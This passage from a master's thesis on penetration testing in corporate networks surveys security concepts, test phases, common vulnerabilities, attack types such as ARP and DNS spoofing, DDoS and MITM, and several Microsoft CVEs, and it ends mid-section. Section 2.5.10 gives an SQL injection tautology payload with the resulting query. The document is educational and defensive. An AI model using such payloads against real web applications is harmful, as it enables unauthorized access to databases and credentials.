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PENETRATION TESTS AND SECURITY SOLUTIONS FOR
CORPORATE NETWORKS

ABSTRACT

Nowadays one of the biggest problem of end users, medium - large sized
companies and also corporate networks is computer network security issue. The
leakage of private information, company secrets, databases and so many information
by the help of existing or zero-day security vulnerabilities on the systems cause big
troubles for those companies. For this reason, frequent scanning of these
vulnerabilities, examination with penetration tests and reporting to the related
department are becoming to be a must rather than a necessity. If these tests are not
performed, malicious people can infiltrate and exploit the network hence the system
will be open for disclosure of sensitive information. At this point, system
administrators should focus on weaknesses reported in penetration testing and should
aim to prevent the leakage of data by taking into account the necessary measures

about these vulnerabilities.

In this thesis, it is aimed to show the disclosure of information and systems
leakage in corporate networks via penetration tests and to describe the security
solution that can be taken to prevent them. Also it is explained to show how to attack
by doing penetration tests on different systems and to take necessary security
solutions on corporate networks. To that end, network scan tools, vulnerability and

web application scanners and attack tools used in the tests are introduced.

All penetration tests were performed on live corporate networks. The steps of
these tests and security solutions were comprehensively explained, and the
precautions that have to be taken by the corporate companies were also

recommended in this thesis.

Keywords: Penetration tests, vulnerability analysis, exploitation, network attacks,

system attacks, social engineering attacks, security solutions



KURUMSAL AGLARDA SIZMA TESTLERI VE GUVENLIK
COZUMLERI

0z

Giiniimiizde son kullanicilarin, orta - biiyiik 6lgekli firmalarin ve ayrica kurumsal
sirketlerin en biliyiik sorunlardan biri bilgisayar aglarmin giivenligi konusudur.
Sistemlerde var olan veya sifirinct giin giivenlik agiklar1 ile 6zel bilgilerin, firma
sirlarinin, veri tabanlarinin ve birgok bilginin disart sizmasi bu saydigim kurum ve
kuruluslarda ¢ok biiyiik sikintilara yol agmaktir. Bu sebeple bu zafiyetlerin sik sik
taranmasi, sizma testleri ile smmanmasi ve gerekli birimlere raporlanmasi bir
gereklilikten c¢ok zorunluluk haline gelmeye bagslamistir. Bu ¢aligmalarin
yapilmamas1 sonucu kétii niyetli kigiler ag ve sistemlere sizip, istismar ederek 6nemli
bilgilerin ifsasina yol agabileceklerdir. Bu noktada sistem yoneticileri sizma
testlerinde raporlanan zafiyetlere odaklanmali, bu agikliklar1 gerekli 6nlemler alarak

olabilecek veri sizintilarinin 6niine gecmeyi hedeflemelilerdir.

Bu tezde, kurumsal aglarda sizma testleri yapilarak bilgi ve sistemlerin ifsa
edilebildigini gostermek ayrica bunlarin engellenmesi i¢in alinabilecek giivenlik
¢ozlimlerini anlatmak hedeflenmistir. Ayni zamanda sizma testleri ile farkh
sistemlerde nasil saldirilar yapilabilecegi gosterilmis ve bunlarin kurumsal aglarin
basina gelmemesi icin gerekli giivenlik ¢oziimleri anlatilmistir. Bu amagla testlerde
kullanilan ag tarama araglari, zafiyet ve web uygulama tarayicilari, sistem, ag ve

sosyal miihendislik saldir1 araglar1 tanitilmastir.

Tim sizma testleri canli kurumsal aglarda yapilmistir. Bu testlerin adimlar1 ve
giivenlik c¢oziimleri detayli bir sekilde agiklanmistir ayrica bu tezde kurumsal

sirketlerin almas1 gereken 6nlemler de tavsiye edilmistir.

Anahtar kelimeler: Sizma testleri, zafiyet analizi, istismar etme, ag saldirilari,

sistem saldirilari, sosyal miithendislik saldirilari, giivenlik ¢oziimleri
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CHAPTER ONE
INTRODUCTION

Nowadays, with increasing number of computers and mobile users connecting to
the Internet, security becomes the most important issue that anyone should face. In
the beginning of 2000s, although security was accepted as a problem only for
companies, today, since everybody connects to the Internet with a desktop or a

mobile device at anywhere, security is a problem for every single person.

In the corporate networks, the situations are not completely different than any
other places. The assets of corporate networks are much more than other companies.
Servers, workstation, printers, faxes, cell phones, laptops, tablets etc. may be the
target of attacks. The assets of a company can be exploited due to many
vulnerabilities. System administrators and all other users are responsible for
preserving and securing the devices. Another task for administrators is to keep the
devices up-to date and patched regularly. But human is the main problem for security
because of being the weakest factor in the security chain. Since system exploitations
and data leakage may occur depending on the human factor in general, penetration
tests should be performed on corporate networks.

A penetration test is a software or hardware attack against a computer or network
system to reveal security vulnerabilities and unauthorized access to the system and
data. This test has phases and they will be introduced in the next chapter. Penetration
test is an import test to find possible vulnerabilities that may result exploitation and

cause data leakage from the corporate networks.

After performing penetration test, result report will be revealed. This report
contains which and what kind of vulnerabilities at the system and also how to protect
the system for not being exploited. In this thesis, security solutions chapter will

explain the countermeasures of actions that need to be done.



Generally, the systems are exploited by the known vulnerabilities. These
vulnerabilities are accepted as unpatched operating systems, unpatched 3" party
applications, SQL based injections, XSS, buffer overflow, manufacturer default
accounts, blank or weak passwords attacks, sniffing network attacks, unneeded
services attacks, denial of service attacks and installing malicious software such as
viruses, Trojan and worms. Another dangerous attack type is zero-day vulnerability.
Kumar (2014), defined zero-day vulnerability that no vendor has a patch about
vulnerability and also it has not still been put on market any patch. Because of the

lack of unreleased patch it is a serious threat for both companies and users.

The motivation of this thesis is to help the corporate companies about protecting
their networks and systems against attackers. The other aim is to show unpatched
minor vulnerabilities and weaknesses in a system or network that may cause critical
data leakage. Besides, the general vulnerabilities and system weakness existing in
corporate networks will be explained in this research. Lastly, common security
solutions that can be taken by corporate companies for protecting systems will be

mentioned.

Many attacks as a part of penetration tests will be performed in this thesis. Each
attack will be performed with different attack types using different vulnerabilities or
weaknesses. By means of these attacks, this thesis wants to show that many attack
vectors come from human vulnerabilities where human is the weakest part in the
security chain. Attacks will exploit the systems with known or unknown

vulnerabilities. These topics will be also covered.

This research is planned to do the penetration tests on many corporate networks.
Penetration attacks will be achieved by three computers with Kali 2.0, Backtrack
5R3 and MS-Windows 10 PRO Operating System as attacker machines. Target
machines are different systems which includes Linux editions such as Ubuntu,
Centos and MS-Windows family such as MS-Windows XP, MS-Windows 7, MS-
Windows Server 2003, 2008 R2 and Server 2012 R2. For penetration tests, these

attackers and target machines, network and web application vulnerability scanners



and other penetration test tools will be used. For finding vulnerabilities basically
Nessus, Nmap, Acunetix and Uniscan tools will be used. After finding system and
network vulnerabilities, Metasploit and other exploitation tools will be used to
exploit the systems and networks. In this thesis, 7 network attacks, 3 social

engineering attacks and 15 system attacks will be performed.

There are several security solutions for protecting systems and networks. The
main precaution that can be taken is to patch the operating system and 3" party
software official updates. Enforcing the enhanced password policy at the company
will cure passwords attacks. Nowadays, a new type of attack called social
engineering occurs frequently. Educating the employees and raising awareness will
be a cure for social engineering attacks. Security solutions for all types of attacks will

be addressed in this thesis.

The last part will contain conclusion, recommendations and future works. In this
section, the conclusion of this research, the recommendations for corporate

companies and future work research subject will be referred.

The full information of the abbreviations used in this thesis can be found in the

last section called “List of Abbreviations” located as a part of Appendices.



CHAPTER TWO
BACKGROUND AND LITERATURE

2.1 Components of Information Security

What Stone and Merrion (2004) explained Confidentiality, Integrity, and
Availability triad, abbreviated as CIA is a widely accepted information security
model. The main purpose of this model is holding the information safe with below

components:

e Confidentiality
e Integrity

e Auvailability

As published in CIA Triad (2014) CIA model is a guide for information security
in a corporation. The intersection of three component is referred as security.

Information
Security

Confidentiality

Figure 2.1 Principles of information security (Henderson, 2016)

CIA components are defined as follows (McCumber, 1991);



2.1.1 Confidentiality

McCumber (1991) explains that confidentiality is the center of information system
security. Security policy is a cluster that includes subject, permission and objects and
also informs that a user can or cannot access to a related thing. According to optional
access check, users and groups are analyzed for data access permission.
Confidentiality warrants that access checks are mandatory and used for the necessity

to preserve data in companies.

2.1.2 Integrity

Integrity is explained by McCumber (1991) that it is a tough component of
information to understand. Integrity is better to be defined like a characteristic of the
data. This component is not about the access to the data or the person tries to access

the information. It is about the proximity to the real and unchanged data.

2.1.3 Availability

Availability is equal to the other two properties of CIA triad. It basically means
that the data will be available for allowed users or groups when it is asked.
Generally, this component may not be accepted as a technical element as
confidentiality and integrity. This perspective may overlook the important idea.
Availability is the significant role on this model which has the control and the
equilibrium (McCumber, 1991).

2.2 Penetration Testing Steps

Penetration testing steps are described in the following part. According to Graves

(2010), penetration testing steps are:

e Preattack phase



e Attack phase

e Postattack phase

2.2.1 Preattack Phase

Preattack is explained as the first part of a penetration test by Graves (2010) that
includes reconnaissance and data collection about the target. This is also known as
the first step for a penetration test. A penetration tester can collect the data about the
target via WHOIS search engine, DNS or network scanning tool. The information
obtained is used to map the target system or network such as operating systems and
software executing on the target systems. WHOIS search also reveals e-mail address
and contact information of the responsible personnel for registering domain address.
The penetration test also includes the Internet Protocol addresses and subnets and the
live hosts on the network. These findings can be used to draw the network schema
and infrastructure. Besides, the penetration tester is better to check the active
network devices such as router, firewall and proxy servers. The penetration tester has
to control the installations and devices for detecting any misconfigurations and

default installations with default passwords.

2.2.2 Attack Phase

This is the second phase of penetration test explained by Graves (2010). In this
phase, attack tools can be used to exploit the vulnerabilities of targets. These tools
may also be used by security personnel for monitoring and testing the systems. This

phase consists of 4 steps:
2.2.2.1 Penetrating the Perimeter
Penetrating the perimeter contains controlling logs of network traffic flowing to

the company about different protocols like SSH, FTP, and Telnet. Web application

threats like SQL injection, input validation and Denial of Service attack are also



examined by the penetration tester. The insider threat is the most serious problem
nowadays, thus the internal tests such as wireless network and the software used

must be significant. These are mentioned by Graves (2010).

2.2.2.2 Acquiring the Target

Graves (2010) explains that this part is different than scan and audit processes.
Target is penetrated by an exploit tool like Metasploit or licit information obtained
by Social Engineering methods. Password and privilege escalation operations are
also performed in this section for gaining access with an administrative

authorization.

2.2.2.3 Escalating Privileges

Once user information are revealed, the penetration tester wants to take
administrative rights on systems and networks rather than a normal user account.
Most of the attack tools can exploit the vulnerability that is identified and a new
administrative account is created by the help of these tools (Graves, 2010).

2.2.2.4 Executing, Implanting and Retracting

This part is the last part of the attack phase. After creating an administrative
account, the normal life processes should not be cut. Any interruption and a sign may
indicate the signals that conserved sources have been reached. This is not wanted by

the organizations. This part is also referred by Graves (2010).

2.2.3 Postattack Phase

This is the last phase of the penetration test explained by Graves (2010). In this
phase, the conditions are restored to the situations before test such as uninstallation
process and deletion of entries. In the end, the penetration test final report and a

security report for executives are generated from the penetration tester findings



during the tests. This report must contain investigations, findings and vulnerabilities

in detail. The cures for vulnerabilities may be advised in the reports.

2.3 Types of Penetration Test

There are three types of penetration tests. They are; Black-Box, White-Box and
Gray-Box testing. Firstly, a corporate company must determine what they want to
test from internal or external. The main difference between these three testing types
is information about system and network credential. There is not any information
about network or system in Black-Box testing while complete information is hold by

tester in White-Box testing. Gray-Box testing is the mixture of the other two testing

types.

2.3.1 Black-Box Testing

Graves (2010) explains Black-Box testing that there is no information about the
system and network which will be examined. The security test will be performed
from the outside of the company by an attacker or a tester in this type of testing. This
test consumes more time and works than the others, in that the attacker has no
knowledge about the target and the security infrastructure of the organization. The
discovery phase that includes recon and reconnaissance about the target takes heaps
of time. Also, this type of test has an advantage that this is the closest test to the

actual and real life attack.

2.3.2 White-Box Testing

White-Box testing is also explained by Graves (2010) and includes making a
security test on the target with administrative privileges. In this type of attack, the
tester has information about the target system and network such as credentials and
network diagram. So, this test is faster than the Black-Box testing. The tester has
already had the information and the credentials about the targets that no



reconnaissance is needed to be performed. This type of test is generally preferred
rather than Black-box testing that causes higher costs, much effort and time.

2.3.3 Gray-Box Testing

This type of testing is explained by Acharya and Pandya (2012) in a research.
Gray-Box testing can be accepted as the union of the other two testing. The objective
of Gray-Box testing is to find the imperfections of misconfigured infrastructures and
inappropriate use of software and also recognized as diaphanous testing. This type of
testing is commonly suitable for Web applications. Because, web application has
been hosted in different several systems. Attacker has no information about source

code of the application so he can't use this type of testing on web applications.

2.4 Common Network Security Vulnerabilities and Threats

There are so many vulnerability types. But in common Beaver (2013) categorized

them as;

e Missing Patches

e Weak or Default Passwords

e Misconfigured Network Devices
e Mobile Devices

e DoS and DDoS Attacks

e Wireless Access Point

e Human Based Vulnerabilities

e Malicious Software

o Web Application Vulnerabilities

2.4.1 Missing Patches

Missing patches is one of the most dangerous vulnerabilities on the network and

system. Beaver (2013) says about missing patches that an attacker or a malicious



insider can exploit a system or network via a missing patched server. The patching
process is called update or upgrade of operating system or 3" party software like
Adobe Flash and Oracle. Attackers can easily exploit unpatched systems and

software.

2.4.2 Weak or Default Passwords

Rothacker (2010) explains weak or default passwords as follows. Creating a
default user name and password is a standard of software industry. Many web
applications, content management systems, database servers and user authentication
like File Transfer Protocol, Secure Shell, Virtual Private Network, e-mail passwords
are still configured with weak or default passwords. Anyone who wants to attack the
systems firstly tries weak and default passwords to access the sensitive data such as
production and personal data. According to Boston University (2016), passwords
have to be minimum eight characters which contain a mix of alphabetical, numeric
characters and punctuation marks. Especially, adding some special characters,

uppercase and lowercase characters to a password will create a strong password.

2.4.3 Misconfigured Network Devices

The complete configuration of network devices explained by Mushi (2016) is a
complicated and tough work that needs technical skills and knowledge. Network
devices such as firewall, router, switch, Intrusion Detection System, Intrusion
Prevention System, wireless access point etc. should be configured very carefully.
Misconfiguration of network devices may result in very serious problems like data
leakage or exploiting the networks. Using these devices is a must for a secure

network but misconfiguration of those devices may be fatal for networks.

2.4.4 Mobile Devices

Smart phones, tablets, laptops and handheld terminals reveal critical information

about security. This is mentioned by Beaver (2013). If an employee of a corporate
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company gets these devices stolen or physically captured, network wireless
password, other network credentials, VPN password, cached passwords in web
browsers and emails containing sensitive company information may become known.
These devices should be kept very carefully and sensitively. A company security
policy must be configured and made mandatory data encryption for these devices.
According to Beaver (2013) networks or systems may be infected easily via USB
drives from the inside. All across the company, USB devices must be controlled

centrally and it should not be allowed unless it is very necessary.

2.4.5 Denial of Service and Distributed Denial of Service Attacks

The interruption of accessing to sources by rightful user can be accepted as the
definition of Denial of Service (DoS) attack. There may be different types such as
operating systems explained by Gligor (1984) or a network service explained by
Needham (1994). An attacker may try to hinder the service hosted on the internet. If
an attack is sourced by many distributed location then it is accepted as Distributed
Denial of Service (DDoS) attack. The effect of DDoS attack is more destructive than
normal DoS attack. Of course, the defense against DDoS is harder because of
amplified structure with many sources. Many business losses and system
interruptions for organizations and networks are possible after successful DDoS
attacks (Peng et al., 2007).

2.4.6 Wireless Access Point

Wright (2016) explains that wireless access point is a part of wireless security.
Due to its popularity and wide range usage, wireless network plays an important role
everywhere from corporate network to home usage. Sensitive information may be
captured via erroneous wireless deployments by attackers in corporate companies.
Wireless network devices such as wireless access point, range extender, USB dongle
and Bluetooth devices are important devices for attending to the corporate network.
Misconfiguration of wireless devices may lead to problems such as data leakage.

After attending to the wireless network, the hacker may exploit the systems. The
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security precautions of these devices should be strictly taken. Another big problem
about wireless network is Rogue Access Point. The Rogue AP is the fake access

point which may be implemented by an attacker in a network without permission.

2.4.7 Human Based Vulnerabilities

Human is accepted as the weakest factor in the security chain. Human factor and
human vulnerabilities may trigger the social engineering attacks. Social engineering
is based on revealing critical information via convincing people with by means of a
relationship. This relationship may be the key of trust between the attacker and the
victim. Also, this trust may lead data leakage after exploiting relationship. Bisson
(2015) identifies the types of social engineering attacks as follows: impersonation,
phishing, shoulder surfing, identity theft, baiting and tailgating. Phishing is preferred
than the other social engineering attacks and it means creating a fake web page or
service to get the critical information with this tricky attack. Phishing attacks may be
an e-mail which is the same as a normal business e-mail or a banking web page
which is the same as a normal banking web page. In Phishing attack, the logo of the
organization and the content like billing or banking are the same as the true, real

ones.

2.4.8 Malicious Software

Malicious software which is abbreviated as malware, is a harmful software that
can be coded in high-level language, (Muttik, 2004). A malware can access critical
information secretly, also forward these information to the remote location and spy
out user activity such as internet and file history without any given information to the
user. Malware can be designed for bad purposes like data leakage, sabotage or
ransomware. Malware is a general term for harmful computer software. There are so
many applications accepted in this concept such as backdoor, virus, worm, trojan,

rootkit, spyware and adware. This is explained by Sikorski and Honig (2012).
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2.4.9 Web Application Vulnerabilities

Another important topic is web application vulnerability. While doing penetration
tests, attacker can exploit the systems or servers by the help of exploiting
vulnerabilities on the web application. Common web application vulnerabilities can
be categorized as by Siddharth and Doshi (2010);

e SQL Injection

e Cross Site Scripting

o Buffer Overflows

e Cross Site Request Forgery

e Other Vulnerabilities

2.4.9.1 SQL Injection

SQL Injection is old fashion but very efficient. By means of web application
attack, an attacker can gain unauthorized and unlimited access to the data via
entering input to the Web form. This is referred by Kindy and Pathan (2011). This
attack is a dangerous attack that the privacy of the data and database may be violated
by a skilled code. Also, an attacker may be allowed to retrieve critical data from the
source. The damage of a successful SQL injection attack may be a huge risk to the
organization such as data leakage or remote code execution on target. Types of SQL
injection attacks are categorized by Kindy and Pathan (2011) as;

e Blind or Inference SQLI
e Tautologies

o lllegal False Queries

e Union Query

e Piggy Backed Query
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e Stored Procedures

e Alternate Encodings

2.4.9.2 Cross Site Scripting

Vogt and et al. (2007) explains that Cross-site scripting (XSS) is a type of web
application and a malicious script may be injected into an application which is also
sent to web browser of a user for exploitation. Then the malicious script is executed
in the user's browser and the effect of this attack such as stealing cookies or leakage
of critical data to remote is occurred if any input validation is not validated. Stored
XSS which is permanently stored in the target and Reflected XSS that code is
reflected to a server are the main types of XSS attacks, (Kirda and et al., 2006).

2.4.9.3 Buffer Overflows

Buffer Overflow attack is an attack to disturb functions in the code. The control is
seized by attacker via successful attack. The attacker may attack the program code
and wants to start 'exec (sh) ' code to provide administrative privilege, (Cowan and
et al., 1999). There are two types of Buffer Overflow attack as Stack and Heap
Overflow. According to Simon (2001), this type of attack includes three steps:

1.Attacking code of the program
2.Corrupting the code via buffer deterioration

3. Executing the malicious code
2.4.9.4 Cross Site Request Forgery
Cross-Site Request Forgery (CSRF) explaining by Jovanovic et al. (2006)
identifies a new type of web application attack and also known as Session Riding.

For a successful CSRF attack, HTTP requests are sent to a victim via CSRF

vulnerable application. CSRF attack can skip the authentication phase via exploiting

14



the vulnerability. The requests may be forged with an image or a web site form
shape.

2.4.9.5 Other Vulnerabilities

The other web application security vulnerabilities are categorized by Kalman
(2014) as; injection flaws, broken authentication, web server misconfiguration,
invalidated input, redirects and forwards. These topics are focused on the OWASP

top 10 Web vulnerabilities.

2.5 Attack Types

In this section, the literature information of possible attacks that may be occurred
on the corporate networks will be explained topic by topic in detail. The goal of this
part is to understand the basics of important and potential attacks on corporate
networks, which vulnerabilities may be commonly exploited in a network and which

attacks may be carried out easily. These attacks are categorized as the following:

e Brute Force Attack

e Dictionary Attack

e Denial of Service Attack

e Distributed Denial of Service Attack
e Exploit Attack

e DNS Spoof Attack

o ARP Spoof Attack

e Man-in-the-Middle Attack

e Wireless Network Attack

e SQL Injection Attack

¢ Phishing Attack
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2.5.1 Brute Force Attack

Brute Force attack tries every possible combination of passwords until correct
password is found. The time and success of this attack is relevant to the set of
password and the length of the password. Longer passwords are nearly impossible to

be revealed unlike the smaller and easier passwords, (Shankdhar, 2015).

If the complexity and length of passwords increases, Brute Force attack will not
be a solution. In this situation, dictionary attack can be used to crack passwords.
According to Shankdhar (2015), well-known Brute Force attack software are
Aircrack-ng, Cain and Abel, John the Ripper, Ophcrack, LOphtCrack and THC
Hydra.

2.5.2 Dictionary Attack

According to Pinkas and Sander (2002), Dictionary attack can be defined as trying
a set of passwords, until the correct one is found. The set of password may include
thousands or millions of possible passwords. Also, offline Dictionary attacks are
used to try probable passwords without any connection to the server. Martin and
Tokutima (2012) refers that an attacker is successful by doing this type of attack
because people generally choose English words like “iloveyou” or “rockyou”, which
are easy, widespread and sequential passwords for web services and accounts. If an
attacker creates a commonly used password dictionary and computes hash value of

password list, then he/she only needs to compare this list with actual one.
2.5.3 Denial of Service Attack

According to Shevtekar et al. (2005), Denial-of-Service (DoS) attacks are main
menace over the internet and designed to keep authorized users from using

computing asset such as networks, systems, applications and the data. DoS attacks

can be last ditch efforts if a hacker can’t steal data successfully or break into system.
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They can also be the primary purpose of an attack like sending a message or
disrupting operations.

In general, DoS attacks are performed via dispatching wide packet volumes.
These packets may consume the bandwidth of line substantially. So, this type of
attack is named bandwidth attacks. The goal of bandwidth attack is to run out of
available bandwidth for network sources. CPU and Memory level of resources and
the bandwidth are the sample of possible targets for DoS attacks. More usage of this
resources will occur a bottleneck on the sources that rightful users may have
interruption about accessing the sources. The main problem on this type of attack is
that sending more bandwidth may not be handled by the line, (Peng et al., 2007).

2.5.4 Distributed Denial of Service Attack

Patrikakis et al. (2004) defines Distributed Denial of Service (DDoS) attack as a
kind of Denial of Service attack which is originated many and distributed sources.
The attacker has master and slave devices which are named zombies. These are
compromised machines via malicious applications. The attacker conducts these
compromised devices with zombies and may enable attacks with the help of these
devices on zombie machines, which are asleep but possible attack vector. They
anticipate for proper command to be awaken from sleep and begin mugging. The
attacker gives command to the slave zombies via master one, standing treat them to
start a DDoS attack to the victim. Meanwhile, the zombies start to flood many
packets to the target. The sources of victim system such as bandwidth and CPU may

be given out. Figure 2.2 shows this kind of DDoS attack.
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Figure 2.2 DDoS attack (Patrikakis et al., 2004)

2.5.5 Exploit Attack

Common vulnerabilities and exposures (CVE) is the wordbook of accepted
information security vulnerabilities. A vulnerability is always known with the same
CVE's common identifier in the different CVE-compatible databases. For sharing
vulnerability code between networks, common identifiers are easy to use. When a
vulnerability is reported with a CVE name, it is easy to fix the vulnerability via this
CVE code, (CVE, 2016). The CVE-ID syntax is CVE prefix + announce year +
arbitrary digits. For example, CVE-2008-4250 means that this vulnerability was
announced in 2008 and 4250 is an arbitrary digit. If needed, the length of arbitrary
digit can be between 4 and 7, but as default, it is 4 digits long.

Five old and well-known vulnerabilities are explained as;

e CVE-2008-4250 Vulnerability
e CVE-2008-4835 Vulnerability

e CVE-2010-0267 Vulnerability
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e CVE-2012-0002 Vulnerability

e CVE-2015-1635 Vulnerability

2.5.5.1 CVE-2008-4250 Vulnerability

This vulnerability is reported on the server service and attacker may execute code
on the remote devices via Remote Procedure Call requests. This security update can
overcome the vulnerability. Three Microsoft Operating Systems, Windows 2000,
Windows XP and Windows Server 2003 are in danger. If someone uses one of these
Operating Systems then he has to update the system with this security update. An
attacker can reach the critical systems without authentication and exploit can be
created via this vulnerability. Firewall devices have to be configured to protect
Microsoft machines from this type of attack. Also, this update must be patched to
relevant devices, (MS08-067, 2008).

Three operating systems, Microsoft Windows 2000, Windows XP and Windows
Server 2003 are critically vulnerable and also two other systems, Windows Vista and
Windows Server 2008 are rated as important which means the systems have to be
patched with this update immediately, (MS08-067, 2008).

2.5.5.2 CVE-2008-4835 Vulnerability

This update is about Server Message Block protocol. MS09-001 (2009) is
explained by Microsoft that this security update can fix two important vulnerabilities
that are remote code execution and DoS attack to the vulnerable device. An attacker
may execute malicious code, install or manipulate data on the remote and also access
to the vulnerable device via DoS attack. Administrative rights may be captured by
attacker such as creating a privileged user or altering data. Server Message Block
(SMB) ports 137-139 and 445 must be filtered by firewall in the organizations. The
traffic flows on these ports are important for security. Minimum ports are better to be

exposed as a recommendation.
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This update is critical for Microsoft Operating Systems including client systems
as Microsoft Vista, Windows XP and server systems as Windows 2000, Windows
Server 2003 and Windows Server 2008. The security update validates the area inside
the SMB packets and resolves the vulnerability, (MS09-001, 2009).

2.5.5.3 CVE-2010-0267 Vulnerability

Nine vulnerabilities and revealed infirmity in Internet Explorer are patched via
MS10-018 (2010) security update. An attacker may be allowed remote code
execution by using a specific web page in Internet Explorer. User rights may be

raised to administrative rights via using this vulnerability.

MS10-018 (2010) security bulletin indicates that 5.01, 6 Service Pack 1, 6 on
Windows clients, 7 and 8 versions of Internet Explorer are vulnerable and rated
critical. This update is described firstly in Microsoft Security Advisory 981374 and it

does not impact Internet Explorer 8 and above.

2.5.5.4 CVE-2012-0002 Vulnerability

MS12-020 (2012) security update is a Remote Desktop Protocol (RDP)
vulnerability. This update fixes many vulnerabilities about RDP. An attacker may
execute code on the systems via sending tiered RDP packets. RDP is not active
initially on Windows Systems until the configuration of RDP will be enabled, the

systems are not at stake.

MS12-020 (2012) is also accepted critical for all Microsoft Windows Operating
Systems. This update is about where RDP packets locate in memory. Fixing this
update to the systems is important. If not necessary, default RDP port 3389 is better
to be filtered by a corporate firewall. Network level authentication is also a factor to
block attackers. A DoS attack can also be performed via this vulnerability by a
skilled one.
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2.5.5.5 CVE-2015-1635 Vulnerability

MS15-034 (2015) security update is originated from HTTP.sys vulnerability. An
attacker may execute a code on the remote systems via HTTP request with privileged

System account.

Many Microsoft client Operating Systems such as Windows 7, Windows 8,
Windows 8.1 and server Operating Systems such as Windows Server 2008 R2 and

Windows Server 2012 and R2 are affected by this vulnerability.

2.5.6 DNS Spoof Attack

Son and Shmatikov (2010) explains DNS Spoof attack as the following. The
Domain Name System (DNS) is an important mechanism of the internet
infrastructure. The main task of DNS is the resolution from internet names to IP
addresses. Because of this structure, attacks against the DNS are performed and
reported many times. Spam and Phishing attacks can be performed easily with DNS
substructure. DNS is based on UDP protocol and on UDP, the security is not the

main idea.

DNS spoofing attack or DNS cache poisoning attack is the most hazardous attack
on DNS infrastructure. Son and Shmatikov (2010) tells that DNS poisoning attack
may occur wrong mapping between domain names and IP addresses. This is critical
and risky, malicious conversation will cause dangerous resolution. DNS protocol is
vulnerable to cache poisoning, because IP addresses resolution may be done by
authoritative servers on the internet nearly everywhere. An attacker may capture and
poison the authoritative DNS server with any altered data.

Stewart (2003) explained DNS cache poisoning as the following. This type of
attack is old and based on the vulnerability of DNS protocol. An attacker may poison
the DNS server and deceive people to visit manipulated IP addresses by the help of

wrong resolution conversion. Also, man-in-the-middle attack may be performed by
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the attacker after DNS cache poisoning.

2.5.7 Address Resolution Protocol Spoof Attack

Address Resolution Protocol (ARP) is the terminology which converts IP
addresses to physical addresses named MAC addresses. This is mentioned by
Puangpronpitag and Masusai (2009). However, ARP cache is possible to be
poisoned. For this reason, ARP spoofing is a critical security problem on local
networks. DoS and MITM attacks may be originated by ARP Spoof. This type of
attack is also called ARP cache poisoning attack.

This technique is used by attackers while they are attacking via ARP protocol.
ARP request may be manipulated by malicious person for doing MITM attack on
LAN. The traffic can be intercepted by the attacker between gateway and victim.
This is the result of ARP spoofing attack. With this type of attack, DoS attack is
possible to be performed. ARP table of a host may be easily manipulated with fake
records and the communication to the victim can be out of service. These are all told
by Puangpronpitag and Masusai (2009).

Abad and Bonilla (2007) are mentioned that ARP is used for mapping IP
addresses to physical addresses. This is achieved in data link layer in Open Systems
Interconnection (OSI) layer. It is important for LAN devices because each frame
must have a destination MAC address for communication on TCP protocol. ARP is
used to get the MAC address of the destination on a network. It works simply. The
host which wants to find the MAC address of the destination broadcast an ARP
request for obtaining correct destination host. Every hosts are received this message
but only correct MAC address host replies to this message via unicast. ARP table is
created with this information for that host. Soon, any request may be met from this
table without broadcasting any message to the network. Nearly 20 minutes later, this

dynamic IP address assignation will be expired and same process will be performed.

ARP is dangerous and stateless protocol which is not designated to manage
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successfully malicious sources. An attacker may modify the records of victim by
man-in-the-middle and DoS attack. This is also mentioned by Abad and Bonilla
(2007). In ARP spoofing attack, the attacker may send false IP and MAC records to
broadcast and this may cause wrong communications between hosts and an attack

will be occurred.

Figure 2.3 shows a demonstration of ARP spoofing attack.

Routing under normal operation

LAN Hub/ LAN D
User switch Gateway

Routing subject to ARP cache poisoning

LAN Hub/ LAN >
User b o Gateway

% ¥

Malicious
User

Figure 2.3 Demonstration of ARP spoofing attack (ARP Spoofing, 2015)

2.5.8 Man-In-The-Middle Attack

The man-in-the-middle (MITM) attack is a specific attack that the traffic is
intercepted by an attacker. The TCP traffic between two hosts is an example of
HTTP transaction. An attacker may intercept the traffic between the client and
server, then there will be two connections, one is between the host and the attacker
and second is between the attacker and the server. In this situation, the attacker
works like a proxy, and the traffic of victim flows through the attacker. So, the

attacker may manipulate and alter the data, (Man in the Middle Attack, 2015).
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Owasp claimed that MITM attack is a critical and dangerous attack type. Because
of unsecure nature of HTTP protocol, the traffic between the victim and the server is
possible to be listened and manipulated. The data flows through the attacker is also
possible to be captured. Session cookie, login credentials, FTP credentials and e-mail
traffic are also in danger with this type of attack. Figure 2.4 is a demonstration of
man-in-the-middle attack.
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Figure 2.4 Demonstration of Man in the Middle Attack (MITM attack, 2016)

Callegati et al. (2009) searched MITM attack to the HTTPS protocol. They said
that when visiting a HTTPS web site, a certificate with its public key is sent to the
victim web browser. When this certificate is not safe, then the traffic between the
victim and the server is possible to be vulnerable. A warning message warns users

that the connection is not safe in this situation.
2.5.9 Wireless Network Attack

Wireless network is widely used nowadays. Because of being cheap and easy,
wireless networks are found easily. The other reason to use wireless network is

mobility integration. Mobile smart phones, tablets and notebooks have wireless

network cards. The only thing that anyone wants to connect this network should do is
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to enter wireless network password. Brute Force or Dictionary attack is used to crack

easy wireless network passwords.

Morgan (2006) told that there are many benefits of wireless technology in the
commercial industry and home usage. By the help of setting wireless networks on
everywhere, people understand and take advantage of the mobility and it's flexibility
inside and outside of the company. This is very important for productivity and
performance that it causes new business relationships and customers. When people
use wireless networks, security is not concerned seriously. The benefits of this
technology are numerous but there are also risks for using this infrastructure.

Morgan (2006) also indicated that wireless network attack is an attack type which
can be easily done because of its nature. Anyone may attack to wireless network if he
already knows the wireless password. It should not be forgotten that sometimes we
have to give the passwords to our clients, guests or anyone. After giving the
passwords, who knows that whether the person attending to the wireless network is a
hacker and will attack the network or not. For this reason, administrators have to be
serious about taking anyone to their wireless network. Wireless network attacks can
consist of human error, eavesdropping, rogue access points, WPS cracking, MAC
address spoofing, improper network design, man-in-the-middle attacks and network

injection.

2.5.10 SQL Injection Attack

Owasp refers that SQL injection attack (2015) is a type of injection attack and
includes "insertion™ or "injection” of the database with SQL queries. It is achieved by
inserting data to the web application. An attacker can modify and manipulate
database besides, critical information such as login credentials and data may be
compromised via SQL injection attack. PHP and ASP applications may be

vulnerable for SQL injection because of their programming nature.

For example, ' OR '2'='2"' SQL statement renders one of the following

25



SQL statements by the parent language:

SELECT * FROM users WHERE name = '' OR '2'='2";

When this SQL query is executed, whether the first part is true or not, the second
part is always true. With OR logical expression, if one part is true then all expression
will become true. Vulnerable web applications are performed SQL injection via these
methods, (SQL Injection, 2015).

2.5.11 Phishing Attack

Jagatic, et al. (2005) explained that Phishing is a method of social engineering
attack that an attacker tries to convince the victim via fake and bogus form, e-mail
